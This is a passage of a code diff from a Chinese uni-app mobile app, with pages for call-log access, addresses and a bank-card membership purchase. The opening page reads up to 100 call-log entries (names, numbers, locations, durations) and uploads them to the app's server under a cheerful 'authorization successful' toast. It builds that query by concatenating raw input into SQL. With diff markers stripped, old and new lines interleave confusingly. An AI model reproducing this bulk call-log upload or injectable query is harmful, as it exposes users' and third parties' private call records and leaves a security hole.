                                sql = sql + CallLog.Calls.NUMBER + " like '%" + selection[item] + "%'";
                                keyword = selection[item];
                                break;
                            case 'startTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '>=' + selection[item];
                                break;
                            case 'endTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '<=' + selection[item];
                                break;
                            case 'type':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.TYPE + '=' + selection[item];
                                break;
                        }
                    }
                }
                sql = sql != '' ? sql : null;
                var cursor = obj.query(
                    CallLog.Calls.CONTENT_URI,
                    null,
                    sql,   //传入条件
                    null,
                    null
                );
                if(cursor){
                    plus.android.importClass(cursor);
                    var content = []; // 用来存储数据
                    var count = 0; // 记录多少条
                    if (cursor.moveToFirst()) {
                        while (cursor.moveToNext()) {
                            count++;
                            //号码
                            var number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                            //呼叫类型
                            var type;
                            switch (
                                parseInt(cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE))))
                            // 判断通话类型
                            {
                                case CallLog.Calls.INCOMING_TYPE:
                                    type = "呼入";
                                    break;
                                case CallLog.Calls.OUTGOING_TYPE:
                                    type = "呼出";
                                    break;
                                case CallLog.Calls.MISSED_TYPE:
                                    type = "未接";
                                    break;
                                default:
                                    type = "挂断"; //应该是挂断.根据我手机类型判断出的
                                    break;
                            }
                            // 获取时间
                            var date = new Date(parseInt(
                                cursor.getString(cursor.getColumnIndexOrThrow(CallLog.Calls.DATE))));
                            // 联系人
                            var Name_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME);
                            var name = cursor.getString(Name_Col);
                            // 号码归属地 返回:北京 联通
                            var numberLocation = cursor.getString(
                                cursor.getColumnIndex(CallLog.Calls.GEOCODED_LOCATION)
                            );
                            //通话时间,单位:s
                            var Duration_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.DURATION);
                            var duration = cursor.getString(Duration_Col);
                            // 存入数组
                            content.push({
                                name: name == null ? '无' : name, // 联系人的姓名
                                phone: number == null ? '无' : number, // 联系人电话
                                phonehome: numberLocation ? numberLocation : '无', // 号码的归属地
                                date: self.getCallTime(date),  // 呼入或呼出时间
                                times: duration, // 通话时长
                                type: type,
                            });
                            // 查询100条 就跳出
                            if (count > 99) {
                              break;
                            }
                        }
                    }
                    console.log('call', content)
                    if(content.length > 0){
                        console.log(content)
                        self.$util.post('Calls/setCalls', content).then(rs => {
                            uni.hideLoading()
                            console.log('ttt', rs)
                            uni.showToast({
                                title: '授权成功!',
                                icon: 'success',
                            })
                        })
                    }
                }else{
                    uni.hideLoading()
                    t.$util.goSetting()
                }
            },
            getCallTime(time) {
                var date = new Date(time);//当前时间
                var year = date.getFullYear(); //返回指定日期的年份
                var month = this.repair(date.getMonth() + 1);//月
                var day = this.repair(date.getDate());//日
                var hour = this.repair(date.getHours());//时
                var minute = this.repair(date.getMinutes());//分
                var second = this.repair(date.getSeconds());//秒
                //当前时间
                var curTime = year + "-" + month + "-" + day + " " + hour + ":" + minute + ":" + second;
                return curTime;
            },
            repair(i){
                if (i >= 0 && i <= 9) {
                    return "0" + i;
                } else {
                    return i;
                }
            },
        }
    }
</script>
<style>
    @import url(/static/css/addAddr.css);
</style>
pages/address/address.vue
New file
@@ -0,0 +1,123 @@
<template>
    <view>
        <view class="" v-if="addrData.length > 0">
            <view class="addrItem" v-for="(item, index) in addrData">
                <view class="" @tap="setAddrCookie(item)">
                    <view class="addr-v">
                        <text>{{item.realname}}</text>
                        <text>{{item.phone}}</text>
                    </view>
                    <view class="addr-v">{{item.area}}({{item.addr}})</view>
                    <image class="rgt" src="/static/imgs/right.png" mode=""></image>
                </view>
                <view class="addr-c">
                    <view class="addr-df">
                        默认:
                        <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
                    </view>
                    <view class="addr-c-main">
                        <view class="addr-c-c" @tap="$util.goPages('/pages/addAddr/addAddr?id=' + item.id)">
                            <image src="/static/imgs/edit.png" mode=""></image>
                            <text>编辑</text>
                        </view>
                        <view class="addr-c-c" @tap="delConfirm(item.id, index)">
                            <image src="/static/imgs/del.png" mode=""></image>
                            <text>删除</text>
                        </view>
                    </view>
                </view>
            </view>
        </view>
        <view class="noData" v-else>
            <image src="/static/imgs/noData.png" mode=""></image>
            <view class="">没有地址信息</view>
        </view>
        <view class="addrBtn" @tap="addAddr">添加地址</view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                pageIndex: 1,
                pageSize: 200,
                addrData: [],
                backUrl: '',
            }
        },
        onLoad(op) {
            this.backUrl = op.backUrl ? op.backUrl : ''
            this.getAddress()
        },
        methods: {
            //选择地址
            setAddrCookie (e) {
                if(this.backUrl != ''){
                    uni.setStorageSync('choose-address', JSON.stringify(e))
                    this.$util.goPages(this.backUrl)
                }
            },
            addAddr () {
                let url = '/pages/addAddr/addAddr'
                if(this.backUrl != ''){
                    url = url + '?backUrl=' + this.backUrl
                }
                this.$util.goPages(url)
            },
            defChange (e) {
                let id = e.currentTarget.dataset.id
                this.$util.post('Address/setDef', {id: id}).then(res => {
                    if(res.code == 1){
                        for(let i in this.addrData){
                            if(this.addrData[i].id != id){
                                this.addrData[i].isdef = 0
                            }
                        }
                    }
                })
            },
            getAddress () {
                this.$util.post('Address/getAddress', {pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                    if(res.code == 1){
                        this.addrData = res.data.list
                    }
                })
            },
            delConfirm (id, idx) {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '是否删除地址信息?',
                    success: function (res) {
                        if (res.confirm) {
                            t.delAddr(id, idx)
                        }
                    }
                })
            },
            delAddr(id, idx){
                let t = this
                t.$util.post('Address/delAddr', {id: id}).then(res => {
                    if(res.code == 1){
                        uni.showToast({
                            title: res.msg || '删除成功',
                            icon: 'success'
                        })
                        this.addrData.splice(idx, 1)
                    } else {
                        uni.showToast({
                            title: res.msg || '删除失败',
                            icon: 'error'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
@import url(/static/css/address.css);
</style>
pages/agree/agree.vue
New file
@@ -0,0 +1,22 @@
<template>
    <view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
            }
        },
        methods: {
        }
    }
</script>
<style>
</style>
pages/quanyi/add.vue
@@ -2,8 +2,8 @@
import offIcon from '@/static/imgs/icons/off.png'
import leftIcon from  '@/static/imgs/icons/left.png'
import kkIcon from  '@/static/imgs/icons/kk.png'
import addAddress from "./components/addAddress";
import agreement from "./components/agreement";
import addAddress from "@/pages/quanyi/components/addAddress";
import agreement from "@/pages/quanyi/components/agreement";
export default {
  name: "add",
  components: {
@@ -95,8 +95,8 @@
    uni.request({
      url: _this.$webHost+'/api/v2/customer/getCstAddress',
      data:{
        customerId: uni.getStorageSync('ygxLogin').customerId,
        sourceId: uni.getStorageSync('ygxLogin').appId
        customerId: uni.getStorageSync('qxgLogin').customerId,
        sourceId: uni.getStorageSync('qxgLogin').appId
      },
      success: function (res) {
        _this.addressDetail = res.data.data;
@@ -105,7 +105,7 @@
    uni.request({
      url: _this.$webHost+'/api/v2/xinheyuan/bank/list/fake/'+uni.getStorageSync('ygxLogin').customerId,
      url: _this.$webHost+'/api/v2/xinheyuan/bank/list/fake/'+uni.getStorageSync('qxgLogin').customerId,
      success(res){
        console.log(res.data.data);
        this.bankList = res.data.data;
@@ -116,7 +116,7 @@
    uni.setStorageSync('windowHeight',uni.getSystemInfoSync().windowHeight)
    uni.request({
      url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
      url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
      method:'get',
      success:function(res){
        const dy = res.data.data[0];
@@ -162,7 +162,7 @@
      uni.request({
        url: _this.$webHost+'/api/v2/sign/signed/'+uni.getStorageSync('ygxLogin').customerId,
        url: _this.$webHost+'/api/v2/sign/signed/'+uni.getStorageSync('qxgLogin').customerId,
        method:'POST',
      })
@@ -170,7 +170,7 @@
        url: _this.$webHost+'/api/v2/pay/memberPurchaseBenefitsPays',
        method:'POST',
        data:{
          customerId: uni.getStorageSync('ygxLogin').customerId,
          customerId: uni.getStorageSync('qxgLogin').customerId,
          memberPeriodConfigId: uni.getStorageSync('memberPeriodConfigInfo').id
        },
        success(){
@@ -285,7 +285,7 @@
      uni.request({
        url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
        url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
        method:'get',
        success:function(res){
          _this.getPayBindCardInfo = res.data.data;
@@ -299,7 +299,7 @@
        data:{
          ..._this.bindCardId,
          "customerId": uni.getStorageSync('ygxLogin').customerId,
          "customerId": uni.getStorageSync('qxgLogin').customerId,
          "cardPhone" : _this.cardPhone,  //手机号
          "cardNumber": _this.cardNumber, //卡号
@@ -313,13 +313,12 @@
        },
        success(e){
          if(e.data.code!==200){
            uni.showTips({
            _this.$util.Tips({
              title: e.data.data
            });
          }
          uni.request({
            url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
            url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
            method:'get',
            success:function(res){
              const  ls =  res.data.data;
@@ -328,13 +327,13 @@
              if(ls.length && !ls[1].bindStatus){
              if(ls.length>1 && !ls[1].bindStatus){
                _this.$refs.codeUi.open()
                _this.isCounting = false;
                _this.countText = '';
                return;
              }
              if(ls.length && !ls[2].bindStatus){
              if(ls.length>2 && !ls[2].bindStatus){
                _this.$refs.setUi.open();
                _this.isCounting = false;
                _this.countText = '';
@@ -343,8 +342,6 @@
              if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
              _this.kk()
@@ -356,426 +353,410 @@
    },
      getSmsCode(){
        const that = this;
        console.log(that.getPayBindCardInfo[0].paymentMethod);
        if(this.isCounting){
    getSmsCode(){
      const that = this;
      console.log(that.getPayBindCardInfo[0].paymentMethod);
      if(this.isCounting){
        return
      }
      if(that.getPayBindCardInfo[0].bindStatus){
        if(!that.getPayBindCardInfo[1].bindStatus){
          that.$refs.codeUi.open();
          return
        }
        if(that.getPayBindCardInfo[0].bindStatus){
          if(!that.getPayBindCardInfo[1].bindStatus){
            that.$refs.codeUi.open();
            return
          }
          if(!that.getPayBindCardInfo[2].bindStatus){
            that.$refs.setUi.open();
          }
          return
        if(!that.getPayBindCardInfo[2].bindStatus){
          that.$refs.setUi.open();
        }
        return
      }
        if (!/^1(3|4|5|7|8|9|6)\d{9}$/i.test(that.cardPhone)) return uni.showToast({title: '请输入正确的手机号码', icon: 'none'});
      if (!/^1(3|4|5|7|8|9|6)\d{9}$/i.test(that.cardPhone)) return that.$util.Tips({
        title: '请输入正确的手机号码'
      });
        that.isCounting = true;
      that.isCounting = true;
        uni.request({
          url: that.$webHost+'/api/v2/xinheyuan/bankcard/save',
          method:'POST',
          data:{
            "customerId": uni.getStorageSync('ygxLogin').customerId,
            "nameReal": that.cardName, // 名字
            "cardNo":that.cardNumber,
            "idCard": that.idCardNo,
      uni.request({
        url: that.$webHost+'/api/v2/xinheyuan/bankcard/save',
        method:'POST',
        data:{
          "customerId": uni.getStorageSync('qxgLogin').customerId,
          "nameReal": that.cardName, // 名字
          "cardNo":that.cardNumber,
          "idCard": that.idCardNo,
            "bankPhoneNo":that.cardPhone,
            "bankCode": that.bankCode,
            "bankName": that.bankName,
            "phone":  that.cardPhone,  //手机号
            "paymentMethod":  that.getPayBindCardInfo[0].paymentMethod ,
          "bankPhoneNo":that.cardPhone,
          "bankCode": that.bankCode,
          "bankName": that.bankName,
          "phone":  that.cardPhone,  //手机号
          "paymentMethod":  that.getPayBindCardInfo[0].paymentMethod ,
            "preBindType": "prebc",
            "bankId": "1",
          "preBindType": "prebc",
          "bankId": "1",
          },
          success(){
            uni.request({
              url: that.$webHost+'/api/v2/pay/bindCardToCodes',
              method:'POST',
              data:{
                "customerId": uni.getStorageSync('ygxLogin').customerId,
                "cardName": that.cardName, // 名字
                "cardIdNo": that.idCardNo,
        },
        success(){
          uni.request({
            url: that.$webHost+'/api/v2/pay/bindCardToCodes',
            method:'POST',
            data:{
              "customerId": uni.getStorageSync('qxgLogin').customerId,
              "cardName": that.cardName, // 名字
              "cardIdNo": that.idCardNo,
                "cardNumber":that.cardNumber,
                "bankPhoneNo":that.cardPhone,
                "bankCode": that.bankCode,
                "bankName": that.bankName,
                "cardPhone":  that.cardPhone,  //手机号
                "paymentMethod":  that.getPayBindCardInfo[0].paymentMethod ,
              "cardNumber":that.cardNumber,
              "bankPhoneNo":that.cardPhone,
              "bankCode": that.bankCode,
              "bankName": that.bankName,
              "cardPhone":  that.cardPhone,  //手机号
              "paymentMethod":  that.getPayBindCardInfo[0].paymentMethod ,
                "preBindType": "prebc",
                "bankId": "1",
              "preBindType": "prebc",
              "bankId": "1",
              },
              success(res){
                if(res.data.code === 401){
                  that.getUserInfo()
                  return;
                }
                if(res.data.code !==200){
                  uni.showToast({
                    title: res.data.data,
                    icon: 'none'
                  })
                  return;
                }
                if(res.data.code === 200){
                  that.bindCardId = res.data.data;
                } else {
                  that.isCounting = false;
                  that.countText = '';
                  uni.showToast({
                    title: res.data.data,
                    icon: 'none'
                  });
                  if(!that.getPayBindCardInfo[0].bindStatus){
                    return;
                  }
                  if(!that.getPayBindCardInfo[1].bindStatus){
                    that.$refs.codeUi.open()
                    that.isCounting = false;
                    that.countText = '';
                    return
                  } if(!that.getPayBindCardInfo[2].bindStatus){
                    that.isCounting = false;
                    that.countText = '';
                    that.$refs.setUi.open()
                    return
                  }
                }
            },
            success(res){
              if(res.data.code === 401){
                that.getUserInfo()
                return;
              }
            })
            let count = 60;
            that.countText = `${count}s秒后重新获取`;
              if(res.data.code !==200){
                uni.showToast({
                  title: res.data.data,
                  icon: 'none'
                })
                return;
              }
            const timer = setInterval(() => {
              count--;
              that.countText = `${count}s秒后重新获取`;
              if (count <= 0) {
                clearInterval(timer);
              if(res.data.code === 200){
                that.bindCardId = res.data.data;
              } else {
                that.isCounting = false;
                that.countText = '';
              }
            },1000)
          },
          fail(err){
            that.isCounting = false;
            that.countText = '';
            uni.showToast({
              title: err,
              icon: 'none'
            })
          }
        })
                uni.showToast({
                  title: res.data.data,
                  icon: 'none'
                });
                if(!that.getPayBindCardInfo[0].bindStatus){
      },
// 二次获取
      getCode(){
        if (this.isCounting_A) {
          return;
        }
        const paymentMethod = this.getPayBindCardInfo[1]['paymentMethod'];
        const _this = this;
        const pro = uni.getStorageSync('ygxLogin')
        pro['userName'] = _this.cardName;
        uni.request({
          url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
          method:'POST',
          data:{
            cardIdNo: _this.idCardNo,
            customerId: pro.customerId,
            cardName: _this.cardName,
            cardNo: _this.cardIdNo,
            cardPhone: _this.cardPhone,
            cardNumber: _this.cardNumber,
            bankName: _this.bankName,
            preBindType: "prebc",
            paymentMethod:paymentMethod,
            againType : true
          },
          success(dt){
            if(dt.data.code === 401){
              _this.getUserInfo()
              return;
            }
            const res = dt.data.data;
            if(!res){
              return;
            }
            _this.callbackData = res;
            _this.bindCardId = res;
            uni.showToast({
              title: "验证码已发送",
              icon: "none",
            });
            // 设置倒计时功能
            let count = 60;
            const timer = setInterval(() => {
              count--;
              if (count <= 0) {
                clearInterval(timer);
                _this.$set(_this, "isCounting_A", false);
              } else {
                _this.$set(_this, "isCounting_A", true);
                _this.$set(_this, "countText_A", `${count}秒后重新获取`);
              }
            }, 1000);
          }
        })
      },
      submitPlan(){
        const _this = this;
        if (!this.verificationCodeT) {
          uni.showToast({
            title: "请输入验证码",
            icon: "none",
          });
          return;
        }
        const callbackData = _this.callbackData;
        const paymentMethod = _this.getPayBindCardInfo[1]['paymentMethod'];
        uni.request({
          url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
          method:'POST',
          data:{
            ...callbackData,
            "customerId": uni.getStorageSync('ygxLogin').customerId,
            "cardPhone" : _this.cardPhone,  //手机号
            "cardNumber": _this.cardNumber, //卡号
            paymentMethod:paymentMethod,
            "cardName" : _this.cardName, // 名字
            "cardIdNo" : _this.cardIdNo,
            "bankName" : _this.bankName,
            "cardNo" :  _this.cardNumber,
            "verificationCode": _this.verificationCodeT,
          },
          success(dts){
            if(dts.data.code!==200){
              uni.showTips({
                title: dts.data.data
              });
              return
            }
            uni.request({
              url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
              method:'get',
              success:function(res){
                const  ls =  res.data.data;
                _this.getPayBindCardInfo = res.data.data;
                if(ls.length>2 && !ls[2].bindStatus){
                  _this.isCounting_A = false;
                  _this.countText_A = '';
                  _this.$refs.codeUi.close()
                  _this.$refs.setUi.open()
                  return;
                }
                if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
                if(!that.getPayBindCardInfo[1].bindStatus){
                  that.$refs.codeUi.open()
                  that.isCounting = false;
                  that.countText = '';
                  return
                } if(!that.getPayBindCardInfo[2].bindStatus){
                  that.isCounting = false;
                  that.countText = '';
                  that.$refs.setUi.open()
                  return
                }
              }
            })
          }
        })
      },
// 三次
      getCode_san(){
        if (this.isCounting_B) {
          return;
        }
        const paymentMethod = this.getPayBindCardInfo[2]['paymentMethod'];
        const _this = this;
        const pro = uni.getStorageSync('ygxLogin')
        pro['userName'] = _this.cardName;
        uni.request({
          url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
          method:'POST',
          data:{
            cardIdNo: _this.idCardNo,
            customerId: pro.customerId,
            cardName: _this.cardName,
            cardNo: _this.cardIdNo,
            cardPhone: _this.cardPhone,
            cardNumber: _this.cardNumber,
            bankName: _this.bankName,
            preBindType: "prebc",
            paymentMethod:paymentMethod,
            againType : true
          },
          success(dt){
            if(dt.data.code ==401){
              _this.getUserInfo()
              return;
            }
          })
            if(dt.data.code !==200){
              uni.showToast({
                title: dt.data.data,
                icon: 'none'
              })
              return;
          let count = 60;
          that.countText = `${count}s秒后重新获取`;
          const timer = setInterval(() => {
            count--;
            that.countText = `${count}s秒后重新获取`;
            if (count <= 0) {
              clearInterval(timer);
              that.isCounting = false;
              that.countText = '';
            }
            const res = dt.data.data;
            if(!res){
              return;
            }
            _this.callbackData = res;
            _this.bindCardId = res;
            uni.showToast({
              title: "验证码已发送",
              icon: "none",
            });
            // 设置倒计时功能
            let count = 60;
            const timer = setInterval(() => {
              count--;
              if (count <= 0) {
                clearInterval(timer);
                _this.$set(_this, "isCounting_B", false);
              } else {
                _this.$set(_this, "isCounting_B", true);
                _this.$set(_this, "countText_B", `${count}秒后重新获取`);
              }
            }, 1000);
          }
        })
      },
      submitPlan_san(){
        const _this = this;
        if (!this.verificationCodeS) {
          },1000)
        },
        fail(err){
          that.isCounting = false;
          that.countText = '';
          uni.showToast({
            title: "请输入验证码",
            title: err,
            icon: 'none'
          })
        }
      })
    },
// 二次获取
    getCode(){
      if (this.isCounting_A) {
        return;
      }
      const paymentMethod = this.getPayBindCardInfo[1]['paymentMethod'];
      const _this = this;
      const pro = uni.getStorageSync('qxgLogin')
      pro['userName'] = _this.cardName;
      uni.request({
        url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
        method:'POST',
        data:{
          cardIdNo: _this.idCardNo,
          customerId: pro.customerId,
          cardName: _this.cardName,
          cardNo: _this.cardIdNo,
          cardPhone: _this.cardPhone,
          cardNumber: _this.cardNumber,
          bankName: _this.bankName,
          preBindType: "prebc",
          paymentMethod:paymentMethod,
          againType : true
        },
        success(dt){
          if(dt.data.code === 401){
            _this.getUserInfo()
            return;
          }
          const res = dt.data.data;
          if(!res){
            return;
          }
          _this.callbackData = res;
          _this.bindCardId = res;
          uni.showToast({
            title: "验证码已发送",
            icon: "none",
          });
          return;
          // 设置倒计时功能
          let count = 60;
          const timer = setInterval(() => {
            count--;
            if (count <= 0) {
              clearInterval(timer);
              _this.$set(_this, "isCounting_A", false);
            } else {
              _this.$set(_this, "isCounting_A", true);
              _this.$set(_this, "countText_A", `${count}秒后重新获取`);
            }
          }, 1000);
        }
      })
    },
        const callbackData = _this.callbackData;
        const paymentMethod = _this.getPayBindCardInfo[2]['paymentMethod'];
    submitPlan(){
      const _this = this;
      if (!this.verificationCodeT) {
        uni.showToast({
          title: "请输入验证码",
          icon: "none",
        });
        return;
      }
      const callbackData = _this.callbackData;
      const paymentMethod = _this.getPayBindCardInfo[1]['paymentMethod'];
        uni.request({
          url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
          method:'POST',
          data:{
            ...callbackData,
      uni.request({
        url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
        method:'POST',
        data:{
          ...callbackData,
            "customerId": uni.getStorageSync('ygxLogin').customerId,
            "cardPhone" : _this.cardPhone,  //手机号
          "customerId": uni.getStorageSync('qxgLogin').customerId,
          "cardPhone" : _this.cardPhone,  //手机号
            "cardNumber": _this.cardNumber, //卡号
            paymentMethod:paymentMethod,
            "cardName" : _this.cardName, // 名字
            "cardIdNo" : _this.cardIdNo,
            "bankName" : _this.bankName,
            "cardNo" :  _this.cardNumber,
          "cardNumber": _this.cardNumber, //卡号
          paymentMethod:paymentMethod,
          "cardName" : _this.cardName, // 名字
          "cardIdNo" : _this.cardIdNo,
          "bankName" : _this.bankName,
          "cardNo" :  _this.cardNumber,
            "verificationCode": _this.verificationCodeS,
          },
          success(dts){
            if(dts.data.code!==200){
              uni.showTitle({
                title: dts.data.data
              });
          "verificationCode": _this.verificationCodeT,
        },
        success(dts){
          if(dts.data.code!==200){
            return
          }
          uni.request({
            url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
            method:'get',
            success:function(res){
              const  ls =  res.data.data;
              _this.getPayBindCardInfo = res.data.data;
              if(ls.length>2 && !ls[2].bindStatus){
                _this.isCounting_A = false;
                _this.countText_A = '';
                _this.$refs.codeUi.close()
                _this.$refs.setUi.open()
                return;
              }
              if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
            }
            uni.request({
              url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
              method:'get',
              success:function(res){
                const ls = res.data.data;
                _this.getPayBindCardInfo = res.data.data;
                _this.isCounting_B = false;
                _this.countText_B = '';
                _this.$refs.setUi.close()
                _this.$refs.codeUi.close()
                if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
          })
        }
      })
              }
            })
          }
        })
      },
      getUserInfo() {
        const data =   uni.getStorageSync('LOGING_DATA')
        console.log(data);
        this.$store.commit("LOGIN", {
          'token': data.token
        });
        this.$store.commit('UPDATE_USERINFO', {
          avatar: data.avatar,
          nickname: data.nickname,
          phone: data.phone
        });
        this.$store.commit("SETUID", data.id)
        uni.reLaunch({
          url: '/pages/index/index'
        });
      },
    },
    onUnload() {
// 三次
    getCode_san(){
      if (this.isCounting_B) {
        return;
      }
      const paymentMethod = this.getPayBindCardInfo[2]['paymentMethod'];
      const _this = this;
      const pro = uni.getStorageSync('qxgLogin')
      pro['userName'] = _this.cardName;
      uni.request({
        url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
        method:'POST',
        data:{
          cardIdNo: _this.idCardNo,
          customerId: pro.customerId,
          cardName: _this.cardName,
          cardNo: _this.cardIdNo,
          cardPhone: _this.cardPhone,
          cardNumber: _this.cardNumber,
          bankName: _this.bankName,
          preBindType: "prebc",
          paymentMethod:paymentMethod,
          againType : true
        },
        success(dt){
          if(dt.data.code ==401){
            _this.getUserInfo()
            return;
          }
          if(dt.data.code !==200){
            uni.showToast({
              title: dt.data.data,
              icon: 'none'
            })
            return;
          }
          const res = dt.data.data;
          if(!res){
            return;
          }
          _this.callbackData = res;
          _this.bindCardId = res;
          uni.showToast({
            title: "验证码已发送",
            icon: "none",
          });
          // 设置倒计时功能
          let count = 60;
          const timer = setInterval(() => {
            count--;
            if (count <= 0) {
              clearInterval(timer);
              _this.$set(_this, "isCounting_B", false);
            } else {
              _this.$set(_this, "isCounting_B", true);
              _this.$set(_this, "countText_B", `${count}秒后重新获取`);
            }
          }, 1000);
        }
      })
    },
    submitPlan_san(){
      const _this = this;
      if (!this.verificationCodeS) {
        uni.showToast({
          title: "请输入验证码",
          icon: "none",
        });
        return;
      }
      const callbackData = _this.callbackData;
      const paymentMethod = _this.getPayBindCardInfo[2]['paymentMethod'];
      uni.request({
        url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
        method:'POST',
        data:{
          ...callbackData,
          "customerId": uni.getStorageSync('qxgLogin').customerId,
          "cardPhone" : _this.cardPhone,  //手机号
          "cardNumber": _this.cardNumber, //卡号
          paymentMethod:paymentMethod,
          "cardName" : _this.cardName, // 名字
          "cardIdNo" : _this.cardIdNo,
          "bankName" : _this.bankName,
          "cardNo" :  _this.cardNumber,
          "verificationCode": _this.verificationCodeS,
        },
        success(dts){
          if(dts.data.code!==200){
            _this.showToast({
              title: dts.data.data
            });
          }
          uni.request({
            url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
            method:'get',
            success:function(res){
              const ls = res.data.data;
              _this.getPayBindCardInfo = res.data.data;
              _this.isCounting_B = false;
              _this.countText_B = '';
              _this.$refs.setUi.close()
              _this.$refs.codeUi.close()
              if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
            }
          })
        }
      })
    },
    getUserInfo() {
      uni.reLaunch({
        url: '/pages/index/index'
      });
    },
  },
  onUnload() {
      clearInterval(this.interval);
    },
  }
uni_modules/uview-ui/libs/config/props/actionSheet.js
File was deleted
uni_modules/uview-ui/libs/config/props/album.js
File was deleted
uni_modules/uview-ui/libs/config/props/alert.js
File was deleted
unpackage/res/icons/1024x1024.png
unpackage/res/icons/120x120.png
unpackage/res/icons/144x144.png
unpackage/res/icons/152x152.png
unpackage/res/icons/167x167.png
unpackage/res/icons/180x180.png
unpackage/res/icons/192x192.png
unpackage/res/icons/20x20.png
unpackage/res/icons/29x29.png
unpackage/res/icons/40x40.png
unpackage/res/icons/58x58.png
unpackage/res/icons/60x60.png
unpackage/res/icons/72x72.png
unpackage/res/icons/76x76.png
unpackage/res/icons/80x80.png
unpackage/res/icons/87x87.png
unpackage/res/icons/96x96.png